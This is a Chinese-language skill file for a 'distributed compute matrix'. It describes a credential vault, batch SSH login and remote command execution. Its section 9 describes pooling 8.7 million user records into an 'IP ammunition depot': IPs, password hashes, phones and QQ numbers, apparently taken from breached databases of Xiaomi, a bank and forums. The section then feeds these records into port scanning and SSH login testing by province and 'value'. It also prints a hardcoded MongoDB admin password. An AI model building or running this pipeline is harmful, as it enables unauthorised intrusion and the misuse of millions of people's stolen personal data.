Files
suanli-juzhen/02_账号密码管理/SKILL.md

391 lines
12 KiB
Markdown
Raw Normal View History

---
name: 账号密码管理
description: 分布式算力矩阵 - 凭证统一管理(账号密码/SSH密钥/API Token+ IP用户RFM资产库含地区/手机/QQ
triggers: 账号管理、密码管理、凭证、密钥管理、credential、IP用户、分布式矩阵IP、RFM、地区
owner: 卡若
version: "2.1"
updated: "2026-02-15"
---
# 02_账号密码管理
> 核心任务:安全、高效地管理所有节点的登录凭证,支撑快速登录部署
> 新增IP用户RFM资产库`KR.分布式矩阵IP`为扫描模块提供IP弹药库
---
## 一、模块概述
账号密码管理模块是分布式算力矩阵的「安全基座」,统一管理所有节点的登录凭证,实现一处管理、处处可用,同时确保凭证安全不泄漏。
## 二、功能架构
```
┌─────────────────────┐
│ 凭证管理中心 │
│ (Credential Vault) │
└──────────┬──────────┘
┌───────────┬───────┴───────┬───────────┐
▼ ▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ SSH密钥 │ │ 账号密码 │ │ API Token│ │ 证书管理 │
│ 管理 │ │ 存储 │ │ 管理 │ │ │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
```
## 三、凭证类型
### 1. SSH密钥对
| 项目 | 说明 |
|:---|:---|
| 生成 | Ed25519推荐/ RSA-4096 |
| 存储 | `~/.ssh/` + 加密备份 |
| 分发 | 自动推送公钥到目标节点 |
| 轮换 | 每90天自动轮换 |
```bash
# 生成SSH密钥对
ssh-keygen -t ed25519 -C "matrix-node-$(date +%Y%m%d)" -f ~/.ssh/matrix_key
# 批量推送公钥
python scripts/push_ssh_keys.py --hosts hosts.json --key ~/.ssh/matrix_key.pub
```
### 2. 账号密码
| 项目 | 说明 |
|:---|:---|
| 加密方式 | AES-256-GCM |
| 存储格式 | SQLCipher加密数据库 |
| 主密钥 | 本地keyring / 环境变量 |
| 分类 | SSH/RDP/Web/Database/API |
**密码策略**
- 长度 >= 16位
- 包含大小写 + 数字 + 特殊字符
- 自动生成随机强密码
- 禁止明文存储
### 3. API Token / Access Key
| 项目 | 说明 |
|:---|:---|
| 类型 | Bearer Token / API Key / OAuth |
| 作用域 | 按节点/按服务/按权限 |
| 有效期 | 可配置过期时间 |
| 刷新 | 支持自动刷新Token |
### 4. 证书管理
| 项目 | 说明 |
|:---|:---|
| 类型 | TLS证书 / 客户端证书 |
| 用途 | 节点间加密通信 |
| 管理 | 自动续期提醒 |
---
## 四、凭证数据库结构
```sql
-- 主机表
CREATE TABLE hosts (
id INTEGER PRIMARY KEY,
ip TEXT NOT NULL,
hostname TEXT,
os TEXT,
group_name TEXT,
status TEXT DEFAULT 'active',
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 凭证表(加密存储)
CREATE TABLE credentials (
id INTEGER PRIMARY KEY,
host_id INTEGER REFERENCES hosts(id),
cred_type TEXT NOT NULL, -- ssh_key / password / token / cert
username TEXT,
encrypted_value BLOB NOT NULL, -- AES-256-GCM加密
port INTEGER DEFAULT 22,
priority INTEGER DEFAULT 0, -- 优先使用的凭证
expires_at TIMESTAMP,
last_used TIMESTAMP,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 凭证使用日志
CREATE TABLE credential_logs (
id INTEGER PRIMARY KEY,
credential_id INTEGER REFERENCES credentials(id),
action TEXT, -- login / deploy / test
result TEXT, -- success / failed
detail TEXT,
timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
```
---
## 五、核心功能
### 5.1 凭证录入
```bash
# 单条录入
python scripts/cred_manager.py add --host 192.168.1.100 --user root --type password
# 从扫描结果批量导入
python scripts/import_hosts.py --from ../01_扫描模块/results/assets.json
# 从CSV批量导入
python scripts/import_hosts.py --csv hosts.csv
```
### 5.2 凭证验证
```bash
# 验证单台主机凭证
python scripts/cred_manager.py test --host 192.168.1.100
# 批量验证所有凭证
python scripts/cred_manager.py test-all --parallel 50
# 输出验证报告
python scripts/cred_manager.py report --output cred_report.json
```
### 5.3 快速登录
```bash
# 通过凭证库快速SSH登录
python scripts/quick_login.py --host 192.168.1.100
# 交互式选择主机登录
python scripts/quick_login.py --interactive
# 批量执行命令
python scripts/batch_exec.py --group "linux-nodes" --cmd "uname -a"
```
### 5.4 凭证轮换
```bash
# 轮换指定主机密码
python scripts/cred_rotate.py --host 192.168.1.100
# 批量轮换SSH密钥
python scripts/cred_rotate.py --type ssh_key --all
# 查看即将过期的凭证
python scripts/cred_manager.py expiring --days 30
```
---
## 六、脚本清单
| 脚本 | 功能 | 说明 |
|:---|:---|:---|
| `cred_manager.py` | 凭证管理主程序 | 增删改查、验证、报告 |
| `import_hosts.py` | 主机导入 | 从扫描结果/CSV导入 |
| `quick_login.py` | 快速登录 | 自动匹配凭证登录 |
| `batch_exec.py` | 批量执行 | 批量远程命令执行 |
| `cred_rotate.py` | 凭证轮换 | 自动更换密码/密钥 |
| `push_ssh_keys.py` | SSH密钥分发 | 批量推送公钥 |
| `cred_backup.py` | 凭证备份 | 加密导出/导入 |
---
## 七、安全规范
| 规范 | 说明 |
|:---|:---|
| 禁止明文 | 所有密码/Token必须加密存储 |
| 最小权限 | 每个凭证仅授予必要权限 |
| 审计日志 | 所有凭证使用记录可追溯 |
| 定期轮换 | SSH密钥90天、密码60天、Token按需 |
| 备份加密 | 凭证备份文件必须加密 |
| 环境隔离 | 主密钥不入库,通过环境变量/keyring |
---
## 八、配置文件
`config/cred_config.yaml` 示例:
```yaml
vault:
db_path: ./data/credentials.db
encryption: AES-256-GCM
master_key_source: keyring # keyring / env / file
policy:
password_min_length: 16
ssh_key_type: ed25519
rotation:
ssh_key_days: 90
password_days: 60
token_days: 30
auto_test:
enabled: true
interval: 3600
parallel: 50
timeout: 10
backup:
enabled: true
path: ./backups/
encrypt: true
keep_days: 30
```
---
## 九、IP用户RFM资产库分布式矩阵IP
### 9.1 概述
从本机 MongoDB 全库扫描,提取所有含真实 IP 地址的用户数据,统一字段 + RFM评估后写入 `KR.分布式矩阵IP` 集合,作为分布式算力矩阵的**IP弹药库**。
### 9.2 数据源8个集合 → 1张统一表
| # | 来源数据库 | 来源集合 | IP字段 | 数据量 | 含账号密码 |
|---|----------|---------|--------|--------|-----------|
| 1 | KR_KR | 木蚂蚁munayi_com | regip/lastip | 115,529 | username + MD5 |
| 2 | KR_KR | 房产网 | regip | 119,340 | username + MD5+salt |
| 3 | KR_卡若私域 | 老坑爹论坛 lkdie.com | regip | 89,316 | username + MD5+salt |
| 4 | KR_卡若私域 | 老坑爹商店 shop.lkdie.com | loginIp/createdIp | 662 | nickname + Base64+salt |
| 5 | KR_卡若私域 | 黑科技 quwanzhi.com | ip交易IP | 5,108 | 支付账号 |
| 6 | KR_商城 | 小米 xiaomi_com | ip | 8,278,197 | username + Hash+salt |
| 7 | KR_国外 | 卡塔卡银行_用户档案 | LAST_LOGIN_IP | 105,561 | USERNAME + 加密凭证 |
| 8 | KR_国外 | 卡塔卡银行_审计主表 | LOGON_IP | 28 | BASE_NO |
| | | **合计** | | **8,713,741** | |
### 9.3 统一字段Schemav2.0
```
KR.分布式矩阵IP
├── username - 用户名
├── email - 邮箱/账号
├── password - 密码(哈希值)
├── salt - 盐值
├── region - 地区(国家|省|市GeoLite2-City定位
├── country - 国家
├── province - 省/州
├── city - 城市
├── phone - 手机号从verifiedMobile/email/username提取
├── qq - QQ号@qq.com邮箱/纯数字用户名提取)
├── ip - 主IP地址优先lastip其次regip
├── ip_reg - 注册IP
├── ip_last - 最后登录IP
├── ip_public - 是否公网IPBoolean
├── source_db - 来源数据库名
├── source_col - 来源集合名
├── reg_time - 注册时间
├── last_active_time- 最后活跃时间
├── R_score - Recency 近期活跃度1-5分
├── F_score - Frequency 活跃频率1-5分
├── M_score - Monetary 贡献值1-5分
├── RFM_total - RFM总分3-15分
├── value_level - 价值等级(高/中高/中/低/流失)
├── user_type - 用户类型(重要价值/保持/发展/挽留/一般)
├── roles - 角色(如有)
├── extra - 扩展字段uid/posts/credits/密码类型等)
└── extracted_at - 提取时间
```
### 9.4 关键统计v2.0
| 指标 | 数值 |
|:---|:---|
| 总文档数 | 8,713,741 |
| 公网IP数 | 8,702,991 |
| 内网IP数 | 10,750 |
| 有省份定位 | 2,643,051 (30.3%) |
| 有城市定位 | 2,593,669 (29.8%) |
| 有手机号 | 29,176 |
| 有QQ号 | 747,603 |
**地区TOP10**
| 省份 | 用户数 |
|:---|:---|
| 广东 | 566,068 |
| 上海市 | 355,226 |
| 北京市 | 268,026 |
| 江苏 | 187,040 |
| 浙江 | 144,850 |
| 四川 | 127,868 |
| 山东 | 122,760 |
| 陕西 | 104,230 |
| 福建省 | 93,066 |
| 湖北 | 82,757 |
### 9.5 查询示例
```javascript
// 连接
mongosh "mongodb://admin:admin123@localhost:27017/KR?authSource=admin"
// 查看公网IP用户带密码+地区)
db.分布式矩阵IP.find({ip_public: true, password: {$ne: ""}}).limit(10)
// 按来源统计(含地区/手机/QQ覆盖率
db.分布式矩阵IP.aggregate([
{$group: {_id: "$source_col", count: {$sum: 1},
has_region: {$sum: {$cond: [{$ne: ["$province", ""]}, 1, 0]}},
has_phone: {$sum: {$cond: [{$ne: ["$phone", ""]}, 1, 0]}},
has_qq: {$sum: {$cond: [{$ne: ["$qq", ""]}, 1, 0]}}
}},
{$sort: {count: -1}}
])
// 按省份查询
db.分布式矩阵IP.find({province: "广东"}).limit(10)
// 按城市查询
db.分布式矩阵IP.find({city: "泉州市"}).limit(10)
// 查找有手机号的用户
db.分布式矩阵IP.find({phone: {$ne: ""}}).limit(10)
// 查找有QQ号的用户
db.分布式矩阵IP.find({qq: {$ne: ""}}).limit(10)
// 查找高价值用户
db.分布式矩阵IP.find({RFM_total: {$gte: 10}}).sort({RFM_total: -1})
// 导出指定省份的公网IP供扫描
db.分布式矩阵IP.distinct("ip", {province: "广东", ip_public: true})
```
### 9.6 提取脚本
| 脚本 | 路径 | 功能 |
|:---|:---|:---|
| `extract_ip_users_rfm.py` | `scripts/extract_ip_users_rfm.py` | 全量提取+RFM评估+写入KR.分布式矩阵IP |
```bash
# 重新执行全量提取(会清除旧数据重建)
python3 scripts/extract_ip_users_rfm.py
```
### 9.7 与扫描模块联动
```
02_账号密码管理 01_扫描模块
┌─────────────────────┐ ┌──────────────────────┐
│ KR.分布式矩阵IP │ │ │
│ ├── 431万去重公网IP │──导出IP──▶│ IP段扫描 → 端口扫描 │
│ ├── 用户名/密码 │──凭证库──▶│ SSH登录测试 │
│ └── RFM价值评估 │──优先级──▶│ 高价值IP优先扫描 │
└─────────────────────┘ └──────────────────────┘
```
### 9.8 IP字段扫描报告
详见:`references/MongoDB_IP字段扫描报告.md`全库29个数据库扫描记录